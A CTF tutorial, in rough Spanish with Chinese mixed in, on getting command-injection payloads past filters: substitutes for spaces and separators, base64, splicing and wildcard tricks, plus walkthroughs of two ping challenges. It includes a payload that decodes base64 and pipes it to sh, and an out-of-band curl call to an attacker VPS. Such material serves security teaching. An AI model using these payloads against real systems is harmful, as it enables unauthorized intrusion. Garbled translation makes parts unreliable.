Omisiones comunes para la ejecución de comandos
1. Reemplazar con espacios
Cuando ejecutamos comandos del sistema, inevitablemente encontraremos espacios, como cat flag.txt. Cuando el programa filtra los espacios, debemos usar los siguientes caracteres para intentar omitirlos:
<
${
IFS}
$IFS$9
%09
La prueba es la siguiente:
$IFS
Al expresar el separador en Linux, cuando solo hay cat$IFSa.txt, el intérprete bash considerará el IFSa completo como el nombre de la variable, por lo que no se puede ejecutar. Sin embargo, si agrega un {}, el nombre de la variable será arreglado. Del mismo modo, agréguelo al final. Un $ puede desempeñar un papel de truncamiento, y $9 se refiere al titular del noveno parámetro del proceso actual del shell del sistema, que es una cadena vacía. Por lo tanto, $9 equivale a no agregar nada , lo que equivale a hacer un aislamiento delantero y trasero.
2. En su lugar, trunca los símbolos
Cuando se ejecuta un comando, los datos generalmente se obtienen del front-end para ejecutar los comandos preestablecidos del sistema. Para agregar otros comandos que queremos ejecutar, generalmente se usan símbolos de truncamiento para permitir que el sistema ejecute otros comandos: como : ping 127.0.0.1
|
常见的截断符号:
$
;
|
-
(
)
`
||
&&
&
}
{
%0a
3.comando cat en su lugar
El comando cat es para visualización. Cuando el comando cat está deshabilitado en el programa, se puede usar el siguiente comando en su lugar:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
3.1 Omisión de barra invertida
ca\t fl\ag.txt
3.2 Omisión de codificación
`echo 'Y2F0Cg==' | base64 -d` flag.txt
3.3 Bypass de empalme
a=c;b=at;c=f;d=lag;e=.txt;$a$b ${
c}${
d}${
e}
cat flag.txt
3.4 Omisión de comillas simples y dobles
c'a't test
c"a"t test
3.5 Omisión de comodines
[…] significa hacer coincidir cualquier carácter entre corchetes
{…} significa hacer coincidir todos los patrones entre llaves, y los patrones están separados por comas.
Hay una diferencia importante entre {…} y […]. Cuando el archivo coincidente no existe, […] perderá su función de patrón y se convertirá en una cadena simple, mientras que {…} aún se puede expandir.
cat t?st
cat te*
cat t[a-z]st
cat t{
a,b,c,d,e,f}st
Ejercicios practicos
1. [GXYCTF2019]Ping Ping Ping(https://buuoj.cn)
1.1 Prueba con truncamiento
payload:/?ip=127.0.0.1|ls
Se puede ver que el programa ha ejecutado el comando ls que agregamos y lo repitió en el front-end.
1.2 Use el comando cat para ver la bandera
. Según las indicaciones, los espacios aquí deben filtrarse, por lo que tenemos que encontrar un manera de evitar la restricción de espacio.
1.3 Evitar el espacio
. Según el conocimiento previo, pruebe Reemplace el símbolo del espacio;
de acuerdo con el eructo, se descubre que se puede $IFS$9
evitar
. Sin embargo, las indicaciones aquí tienen nuevos cambios, como sigue:
De acuerdo con las indicaciones, esto debería ser un problema de bandera. Primero, verificamos index.php para ver el código fuente.
Al ver el código fuente, aquí está el problema de la bandera. Se realiza una coincidencia regular. Si las banderas coinciden, el programa deja de correr.
1.4 Omisión de palabras clave
Basado en conocimientos previos, pruebe las palabras clave de reemplazo:
cat flag.php
cat$IFS$9fl\ag.php
b=ag;a=fl;cat$IFS$9$a$b.php
echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
cat$IFS$9fla*
Según Burp Blasting, se descubrió que 1.5 se puede omitir mediante empalme y codificación
. Después de pasar la prueba de fuzz, se puede ver que todas las cargas útiles son las siguientes:
2. Comando ping de muerte (https://www.ctfhub.com)
2.1 Prueba usando caracteres de truncamiento.
A través de la prueba, se puede ver que el programa filtra los caracteres de truncamiento. Con base en el conocimiento anterior, difuminemos los caracteres de truncamiento disponibles. Según la prueba,
el programa no filtra %0a, por lo que podemos usar %0a para continuar con el siguiente paso
2.2 Juicio fuera de banda
Hay un problema en la prueba anterior. Debido a que el comando ejecutado no tiene eco, no podemos saber si el comando insertado se ejecutó exitosamente. Podemos usar el comando Prueba fuera de banda: principio simple: use el comando curl para acceder al sitio web, el sitio web
recibe la solicitud y el comando se ejecuta con éxito
- Utilice Python para iniciar el servicio http en VPS:
命令:python -m http.server 80
2. Utilice el comando curl para acceder al puerto 80 en el VPS
Payload:ip=127.0.0.1%0acurl+VPSIP/1.txt
- Verifique el estado de acceso en el VPS, si se accede exitosamente, significa que el comando se ejecutó exitosamente.